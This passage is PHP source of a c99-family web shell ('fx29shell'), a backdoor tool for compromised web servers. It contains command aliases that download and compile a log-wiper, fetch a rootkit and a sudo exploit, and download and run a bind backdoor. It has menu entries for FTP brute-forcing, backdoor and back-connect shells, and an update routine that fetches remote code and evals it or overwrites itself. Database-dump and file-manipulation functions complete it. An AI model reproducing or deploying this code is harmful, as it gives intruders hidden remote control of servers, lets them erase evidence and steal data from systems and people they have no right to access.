  435. array("CPU Info","cat /proc/version /proc/cpuinfo"),
  436. array("Is gcc installed ?","locate gcc"),
  437. array("Format box (DANGEROUS)","rm -Rf"),
  438. array("-----",""),
  439. array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
  440. array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
  441. array("Run WIPELOGS PT3","./zap2"),
  442. array("-----",""),
  443. array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
  444. array("wget & run BindDoor","wget ".$sh_mainurl."toolz/bind.tar.gz;tar -zxvf bind.tar.gz;./4877"),
  445. array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
  446. );
  447. }
  448. else {
  449. $cmdaliases = array(
  450. array("", "dir"),
  451. array("Find index.php in current dir", "dir /s /w /b index.php"),
  452. array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
  453. array("Find c99shell in current dir", "find /c \"c99\" *"),
  454. array("Find r57shell in current dir", "find /c \"r57\" *"),
  455. array("Show active connections", "netstat -an"),
  456. array("Show running services", "net start"),
  457. array("User accounts", "net user"),
  458. array("Show computers", "net view"),
  459. );
  460. }
  461. //PHP Filesystem Functions
  462. $phpfsaliases = array(
  463. array("Read File", "read"),
  464. array("Write File (PHP5)", "write"),
  465. array("Copy", "copy"),
  466. array("Rename/Move", "rename"),
  467. array("Delete", "delete"),
  468. array("Make Dir","mkdir"),
  469. array("-----", ""),
  470. array("Download", "download"),
  471. array("Download (Binary Safe)", "downloadbin"),
  472. array("Change Perm (0755)", "chmod"),
  473. array("Find Writable Dir", "fwritabledir"),
  474. array("Find Pathname Pattern", "glob"),
  475. );
  476.  
  477. //Quick launch
  478. $quicklaunch1 = array(
  479. array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl),
  480. array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"),
  481. array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"),
  482. array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  483. array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"),
  484. array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d")
  485. );
  486. $quicklaunch2 = array(
  487. array("Enumerate",$enumerate),
  488. array("Security Info",$surl."act=security&d=%d"),
  489. array("Processes",$surl."act=processes&d=%d"),
  490. array("MySQL",$surl."act=sql&d=%d"),
  491. array("PHP-Code",$surl."act=eval&d=%d"),
  492. array("Encoder",$surl."act=encoder&d=%d"),
  493. array("Mailer",$surl."act=fxmailer"),
  494. array("milw0rm it!",$millink),
  495. array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"),
  496. array("Word-Lists","http://darkc0de.com/wordlists/"),
  497. array("Toolz",$surl."act=tools&d=%d"),
  498. array("Self-Kill",$surl."act=selfremove"),
  499. array("Feedback",$surl."act=feedback"),
  500. array("Update",$surl."act=update"),
  501. array("About",$surl."act=about")
  502. );
  503.  
  504. if (!$win) {
  505. $quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=%d");
  506. $quicklaunch2[] = array("Backdoor",$surl."act=shbd");
  507. $quicklaunch2[] = array("Back-Connect",$surl."act=backc");
  508. }
  509.  
  510. //Highlight-code colors
  511. $highlight_background = "#C0C0C0";
  512. $highlight_bg = "#FFFFFF";
  513. $highlight_comment = "#6A6A6A";
  514. $highlight_default = "#0000BB";
  515. $highlight_html = "#1300FF";
  516. $highlight_keyword = "#007700";
  517. $highlight_string = "#000000";
  518.  
  519. @$f = $_REQUEST["f"];
  520. @extract($_REQUEST["c99shcook"]);
  521. //END OF CONFIGURATIONS
  522.  
  523. //STOP EDITING!
  524.  
  525. //Authentication
  526. @set_time_limit(0);
  527. $tmp = array();
  528. foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\\*",".*",preg_quote($v)); }
  529. $s = "!^(".implode("|",$tmp).")$!i";
  530. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
  531. exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
  532. }
  533. if (!empty($login)) {
  534. if (empty($md5_pass)) {$md5_pass = md5($pass);}
  535. if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
  536. header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\"");
  537. header("HTTP/1.0 401 Unauthorized");
  538. exit($accessdeniedmess);
  539. }
  540. }
  541. if ($act != "img") {
  542. $lastdir = realpath(".");
  543. chdir($curdir);
  544. if ($selfwrite or $updatenow) {
  545. @ob_clean();
  546. c99sh_getupdate($selfwrite,1);
  547. exit;
  548. }
  549. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  550. if (!is_array($sess_data)) {$sess_data = array();}
  551. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  552. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  553. if (!function_exists("c99getsource")) {
  554. function c99getsource($fn) {
  555. global $c99sh_sourcesurl;
  556. $array = array(
  557. "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
  558. "c99sh_bindport.c" => "c99sh_bindport_c.txt",
  559. "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
  560. "c99sh_backconn.c" => "c99sh_backconn_c.txt",
  561. "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
  562. "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
  563. );
  564. $name = $array[$fn];
  565. if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
  566. else {return FALSE;}
  567. }
  568. }
  569. if (!function_exists("c99sh_getupdate")) {
  570. function c99sh_getupdate($update = TRUE) {
  571. $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");
  572. $data = @file_get_contents($url);
  573. if (!$data) {return "Can't connect to update-server!";}
  574. else {
  575. $data = ltrim($data);
  576. $string = substr($data,3,ord($data{2}));
  577. if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
  578. if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  579. if ($data{0} == "\x99" and $data{1} == "\x03") {
  580. $string = explode("|",$string);
  581. if ($update) {
  582. $confvars = array();
  583. $sourceurl = $string[0];
  584. $source = file_get_contents($sourceurl);
  585. if (!$source) {return "Can't fetch update!";}
  586. else {
  587. $fp = fopen(__FILE__,"w");
  588. if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download fx29shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  589. else {
  590. fwrite($fp,$source);
  591. fclose($fp);
  592. return "Thanks! Update completed.";
  593. }
  594. }
  595. }
  596. else {return "New version are available: ".$string[1];}
  597. }
  598. elseif ($data{0} == "\x99" and $data{1} == "\x04") {
  599. eval($string);
  600. return 1;
  601. }
  602. else {return "Error in protocol: segmentation failed! (".$data.") ";}
  603. }
  604. }
  605. }
  606. if (!function_exists("c99_buff_prepare")) {
  607. function c99_buff_prepare() {
  608. global $sess_data;
  609. global $act;
  610. foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  611. foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  612. $sess_data["copy"] = array_unique($sess_data["copy"]);
  613. $sess_data["cut"] = array_unique($sess_data["cut"]);
  614. sort($sess_data["copy"]);
  615. sort($sess_data["cut"]);
  616. if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  617. else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  618. }
  619. }
  620. c99_buff_prepare();
  621. if (!function_exists("c99_sess_put")) {
  622. function c99_sess_put($data) {
  623. global $sess_cookie;
  624. global $sess_data;
  625. c99_buff_prepare();
  626. $sess_data = $data;
  627. $data = serialize($data);
  628. setcookie($sess_cookie,$data);
  629. }
  630. }
  631. foreach (array("sort","sql_sort") as $v) {
  632. if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  633. if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  634. }
  635. if ($sort_save) {
  636. if (!empty($sort)) {setcookie("sort",$sort);}
  637. if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  638. }
  639. if (!function_exists("str2mini")) {
  640. function str2mini($content,$len) {
  641. if (strlen($content) > $len) {
  642. $len = ceil($len/2) - 2;
  643. return substr($content, 0,$len)."...".substr($content,-$len);
  644. } else {return $content;}
  645. }
  646. }
  647. if (!function_exists("view_size")) {
  648. function view_size($size) {
  649. if (!is_numeric($size)) { return FALSE; }
  650. else {
  651. if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  652. elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  653. elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  654. else {$size = $size . " B";}
  655. return $size;
  656. }
  657. }
  658. }
  659. if (!function_exists("fs_copy_dir")) {
  660. function fs_copy_dir($d,$t) {
  661. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  662. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  663. $h = opendir($d);
  664. while (($o = readdir($h)) !== FALSE) {
  665. if (($o != ".") and ($o != "..")) {
  666. if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  667. else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  668. if (!$ret) {return $ret;}
  669. }
  670. }
  671. closedir($h);
  672. return TRUE;
  673. }
  674. }
  675. if (!function_exists("fs_copy_obj")) {
  676. function fs_copy_obj($d,$t) {
  677. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  678. $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  679. if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  680. if (is_dir($d)) {
  681. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  682. if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  683. return fs_copy_dir($d,$t);
  684. }
  685. elseif (is_file($d)) { return copy($d,$t); }
  686. else { return FALSE; }
  687. }
  688. }
  689. if (!function_exists("fs_move_dir")) {
  690. function fs_move_dir($d,$t) {
  691. $h = opendir($d);
  692. if (!is_dir($t)) {mkdir($t);}
  693. while (($o = readdir($h)) !== FALSE) {
  694. if (($o != ".") and ($o != "..")) {
  695. $ret = TRUE;
  696. if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  697. else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  698. if (!$ret) {return $ret;}
  699. }
  700. }
  701. closedir($h);
  702. return TRUE;
  703. }
  704. }
  705. if (!function_exists("fs_move_obj")) {
  706. function fs_move_obj($d,$t) {
  707. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  708. $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  709. if (is_dir($d)) {
  710. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  711. if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  712. return fs_move_dir($d,$t);
  713. }
  714. elseif (is_file($d)) {
  715. if(copy($d,$t)) {return unlink($d);}
  716. else {unlink($t); return FALSE;}
  717. }
  718. else {return FALSE;}
  719. }
  720. }
  721. if (!function_exists("fs_rmdir")) {
  722. function fs_rmdir($d) {
  723. $h = opendir($d);
  724. while (($o = readdir($h)) !== FALSE) {
  725. if (($o != ".") and ($o != "..")) {
  726. if (!is_dir($d.$o)) {unlink($d.$o);}
  727. else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  728. }
  729. }
  730. closedir($h);
  731. rmdir($d);
  732. return !is_dir($d);
  733. }
  734. }
  735. if (!function_exists("fs_rmobj")) {
  736. function fs_rmobj($o) {
  737. $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  738. if (is_dir($o)) {
  739. if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  740. return fs_rmdir($o);
  741. }
  742. elseif (is_file($o)) {return unlink($o);}
  743. else {return FALSE;}
  744. }
  745. }
  746. if (!function_exists("tabsort")) {
  747. function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
  748. }
  749. if (!function_exists("view_perms")) {
  750. function view_perms($mode) {
  751. if (($mode & 0xC000) === 0xC000) {$type = "s";}
  752. elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  753. elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  754. elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  755. elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  756. elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  757. elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  758. else {$type = "?";}
  759. $owner["read"] = ($mode & 00400)?"r":"-";
  760. $owner["write"] = ($mode & 00200)?"w":"-";
  761. $owner["execute"] = ($mode & 00100)?"x":"-";
  762. $group["read"] = ($mode & 00040)?"r":"-";
  763. $group["write"] = ($mode & 00020)?"w":"-";
  764. $group["execute"] = ($mode & 00010)?"x":"-";
  765. $world["read"] = ($mode & 00004)?"r":"-";
  766. $world["write"] = ($mode & 00002)? "w":"-";
  767. $world["execute"] = ($mode & 00001)?"x":"-";
  768. if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  769. if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  770. if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  771. return $type.join("",$owner).join("",$group).join("",$world);
  772. }
  773. }
  774. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  775. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  776. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  777. if (!function_exists("parse_perms")) {
  778. function parse_perms($mode) {
  779. if (($mode & 0xC000) === 0xC000) {$t = "s";}
  780. elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  781. elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  782. elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  783. elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  784. elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  785. elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  786. else {$t = "?";}
  787. $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  788. $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  789. $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  790. return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  791. }
  792. }
  793. if (!function_exists("parsesort")) {
  794. function parsesort($sort) {
  795. $one = intval($sort);
  796. $second = substr($sort,-1);
  797. if ($second != "d") {$second = "a";}
  798. return array($one,$second);
  799. }
  800. }
  801. if (!function_exists("view_perms_color")) {
  802. function view_perms_color($o) {
  803. if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  804. elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  805. else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  806. }
  807. }
  808. if (!function_exists("mysql_dump")) {
  809. function mysql_dump($set) {
  810. global $sh_ver;
  811. $sock = $set["sock"];
  812. $db = $set["db"];
  813. $print = $set["print"];
  814. $nl2br = $set["nl2br"];
  815. $file = $set["file"];
  816. $add_drop = $set["add_drop"];
  817. $tabs = $set["tabs"];
  818. $onlytabs = $set["onlytabs"];
  819. $ret = array();
  820. $ret["err"] = array();
  821. if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  822. if (empty($db)) {$db = "db";}
  823. if (empty($print)) {$print = 0;}
  824. if (empty($nl2br)) {$nl2br = 0;}
  825. if (empty($add_drop)) {$add_drop = TRUE;}
  826. if (empty($file)) {
  827. $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  828. }
  829. if (!is_array($tabs)) {$tabs = array();}
  830. if (empty($add_drop)) {$add_drop = TRUE;}
  831. if (sizeof($tabs) == 0) {
  832. //Retrieve tables-list
  833. $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  834. if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  835. }
  836. $out = "
  837. # Dumped by ".$sh_name."
  838. #
  839. # Host settings:
  840. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  841. # Date: ".date("d.m.Y H:i:s")."
  842. # DB: \"".$db."\"
  843. #---------------------------------------------------------";
  844. $c = count($onlytabs);
  845. foreach($tabs as $tab) {
  846. if ((in_array($tab,$onlytabs)) or (!$c)) {
  847. if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  848. //Receieve query for create table structure
  849. $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  850. if (!$res) {$ret["err"][] = mysql_smarterror();}
  851. else {
  852. $row = mysql_fetch_row($res);
  853. $out .= $row["1"].";\n\n";
  854. //Receieve table variables
  855. $res = mysql_query("SELECT * FROM `$tab`", $sock);
  856. if (mysql_num_rows($res) > 0) {
  857. while ($row = mysql_fetch_assoc($res)) {
  858. $keys = implode("`, `", array_keys($row));
  859. $values = array_values($row);
  860. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  861. $values = implode("', '", $values);
  862. $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  863. $out .= $sql;
  864. }
  865. }
  866. }
  867. }
  868. }
  869. $out .= "#---------------------------------------------------------------------------------\n\n";
  870. if ($file) {
  871. $fp = fopen($file, "w");
  872. if (!$fp) {$ret["err"][] = 2;}
  873. else {
  874. fwrite ($fp, $out);
  875. fclose ($fp);
  876. }
  877. }
  878. if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  879. return $out;
  880. }
  881. }
  882. if (!function_exists("mysql_buildwhere")) {
  883. function mysql_buildwhere($array,$sep=" and",$functs=array()) {
  884. if (!is_array($array)) {$array = array();}
  885. $result = "";
  886. foreach($array as $k=>$v) {
  887. $value = "";
  888. if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  889. $value .= "'".addslashes($v)."'";
  890. if (!empty($functs[$k])) {$value .= ")";}
  891. $result .= "`".$k."` = ".$value.$sep;
  892. }
  893. $result = substr($result,0,strlen($result)-strlen($sep));
  894. return $result;
  895. }
  896. }
  897. if (!function_exists("mysql_fetch_all")) {
  898. function mysql_fetch_all($query,$sock) {
  899. if ($sock) {$result = mysql_query($query,$sock);}
  900. else {$result = mysql_query($query);}
  901. $array = array();
  902. while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  903. mysql_free_result($result);
  904. return $array;
  905. }
  906. }
  907. if (!function_exists("mysql_smarterror")) {
  908. function mysql_smarterror($type,$sock) {
  909. if ($sock) {$error = mysql_error($sock);}
  910. else {$error = mysql_error();}
  911. $error = htmlspecialchars($error);
  912. return $error;
  913. }
  914. }
  915. if (!function_exists("mysql_query_form")) {
  916. function mysql_query_form() {
  917. global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  918. if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  919. if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  920. if ((!$submit) or ($sql_act)) {
  921. echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
  922. if ($tbl_struct) {
  923. echo "<td valign=\"top\"><b>Fields:</b><br>";
  924. foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  925. echo "</td></tr></table>";
  926. }
  927. }
  928. if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  929. }
  930. }
  931. if (!function_exists("mysql_create_db")) {
  932. function mysql_create_db($db,$sock="") {
  933. $sql = "CREATE DATABASE `".addslashes($db)."`;";
  934. if ($sock) {return mysql_query($sql,$sock);}
  935. else {return mysql_query($sql);}
  936. }
  937. }
  938. if (!function_exists("mysql_query_parse")) {
  939. function mysql_query_parse($query) {
  940. $query = trim($query);
  941. $arr = explode (" ",$query);
  942. $types = array(
  943. "SELECT"=>array(3,1),
  944. "SHOW"=>array(2,1),
  945. "DELETE"=>array(1),
  946. "DROP"=>array(1)
  947. );
  948. $result = array();
  949. $op = strtoupper($arr[0]);
  950. if (is_array($types[$op])) {
  951. $result["propertions"] = $types[$op];
  952. $result["query"] = $query;
  953. if ($types[$op] == 2) {
  954. foreach($arr as $k=>$v) {
  955. if (strtoupper($v) == "LIMIT") {
  956. $result["limit"] = $arr[$k+1];
  957. $result["limit"] = explode(",",$result["limit"]);
  958. if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  959. unset($arr[$k],$arr[$k+1]);
  960. }
  961. }
  962. }
  963. }
  964. else {return FALSE;}
  965. }
  966. }
  967. if (!function_exists("c99fsearch")) {
  968. function c99fsearch($d) {
  969. global $found;
  970. global $found_d;
  971. global $found_f;
  972. global $search_i_f;
  973. global $search_i_d;
  974. global $a;
  975. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  976. $h = opendir($d);
  977. while (($f = readdir($h)) !== FALSE) {
  978. if($f != "." && $f != "..") {
  979. $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  980. if (is_dir($d.$f)) {
  981. $search_i_d++;
  982. if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  983. if (!is_link($d.$f)) {c99fsearch($d.$f);}
  984. }
  985. else {
  986. $search_i_f++;
  987. if ($bool) {
  988. if (!empty($a["text"])) {
  989. $r = @file_get_contents($d.$f);
  990. if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  991. if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  992. if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  993. else {$bool = strpos(" ".$r,$a["text"],1);}
  994. if ($a["text_not"]) {$bool = !$bool;}
  995. if ($bool) {$found[] = $d.$f; $found_f++;}
  996. }
  997. else {$found[] = $d.$f; $found_f++;}
  998. }
  999. }
  1000. }
  1001. }
  1002. closedir($h);
  1003. }
  1004. }
  1005. if ($act == "gofile") {
  1006. if (is_dir($f)) { $act = "ls"; $d = $f; }
  1007. else { $act = "f"; $d = dirname($f); $f = basename($f); }
  1008. }
  1009. //Sending Headers
  1010. @ob_start();
  1011. @ob_implicit_flush(0);
  1012. function onphpshutdown() {
  1013. global $gzipencode,$ft;
  1014. if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
  1015. $v = @ob_get_contents();
  1016. @ob_end_clean();
  1017. @ob_start("ob_gzHandler");
  1018. echo $v;
  1019. @ob_end_flush();
  1020. }
  1021. }
  1022. function c99shexit() {
  1023. onphpshutdown();
  1024. exit;
  1025. }
  1026. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  1027. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  1028. header("Cache-Control: no-store, no-cache, must-revalidate");
  1029. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  1030. header("Pragma: no-cache");
  1031. //Setting Temporary Dir
  1032. if (empty($tmpdir)) {
  1033. $tmpdir = ini_get("upload_tmp_dir");
  1034. if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  1035. }
  1036. $tmpdir = realpath($tmpdir);
  1037. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  1038. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  1039. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  1040. else {$tmpdir_logs = realpath($tmpdir_logs);}
  1041. //Getting Status
  1042. function showstat($stat) {
  1043. if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
  1044. else { return "<font color=#FF9900><b>OFF</b></font>"; }
  1045. }
  1046. function testperl() {
  1047. if (ex('perl -h')) { return showstat("on"); }
  1048. else { return showstat("off"); }
  1049. }
  1050. function testfetch() {
  1051. if(ex('fetch --help')) { return showstat("on"); }
  1052. else { return showstat("off"); }
  1053. }
  1054. function testwget() {
  1055. if (ex('wget --help')) { return showstat("on"); }
  1056. else { return showstat("off"); }
  1057. }
  1058. function testoracle() {
  1059. if (function_exists('ocilogon')) { return showstat("on"); }
  1060. else { return showstat("off"); }
  1061. }
  1062. function testpostgresql() {
  1063. if (function_exists('pg_connect')) { return showstat("on"); }
  1064. else { return showstat("off"); }
  1065. }
  1066. function testmssql() {
  1067. if (function_exists('mssql_connect')) { return showstat("on"); }
  1068. else { return showstat("off"); }
  1069. }
  1070. function testcurl() {
  1071. if (function_exists('curl_version')) { return showstat("on"); }
  1072. else { return showstat("off"); }
  1073. }
  1074. function testmysql() {
  1075. if (function_exists('mysql_connect')) { return showstat("on"); }
  1076. else { return showstat("off"); }
  1077. }
  1078. function showdisablefunctions() {
  1079. if ($disablefunc=@ini_get("disable_functions")){ return "<font color=#FF9900><b>".$disablefunc."</b></font>"; }
  1080. else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
  1081. }
  1082. //Getting Safe Mode Status
  1083. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  1084. $safemode = TRUE;
  1085. $hsafemode = "<font color=#3366FF><b>SAFE MODE is ON (Secure)</b></font>";
  1086. }
  1087. else {
  1088. $safemode = FALSE;
  1089. $hsafemode = "<font color=#FF9900><b>SAFE MODE is OFF (Not Secure)</b></font>";
  1090. }
  1091. $v = @ini_get("open_basedir");
  1092. if ($v or strtolower($v) == "on") {
  1093. $openbasedir = TRUE;
  1094. $hopenbasedir = "<font color=red>".$v."</font>";
  1095. }
  1096. else {
  1097. $openbasedir = FALSE;
  1098. $hopenbasedir = "<font color=green>OFF (not secure)</font>";
  1099. }
  1100. $sort = htmlspecialchars($sort);
  1101. if (empty($sort)) {$sort = $sort_default;}
  1102. $sort[1] = strtolower($sort[1]);
  1103. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  1104. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  1105. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  1106. @ini_set("highlight.bg",$highlight_bg);
  1107. @ini_set("highlight.comment",$highlight_comment);
  1108. @ini_set("highlight.default",$highlight_default);
  1109. @ini_set("highlight.html",$highlight_html);
  1110. @ini_set("highlight.keyword",$highlight_keyword);
  1111. @ini_set("highlight.string",$highlight_string);
  1112. if (!is_array($actbox)) { $actbox = array(); }
  1113. $dspact = $act = htmlspecialchars($act);
  1114. $disp_fullpath = $ls_arr = $notls = null;
  1115. $ud = urlencode($d);
  1116. //Directory
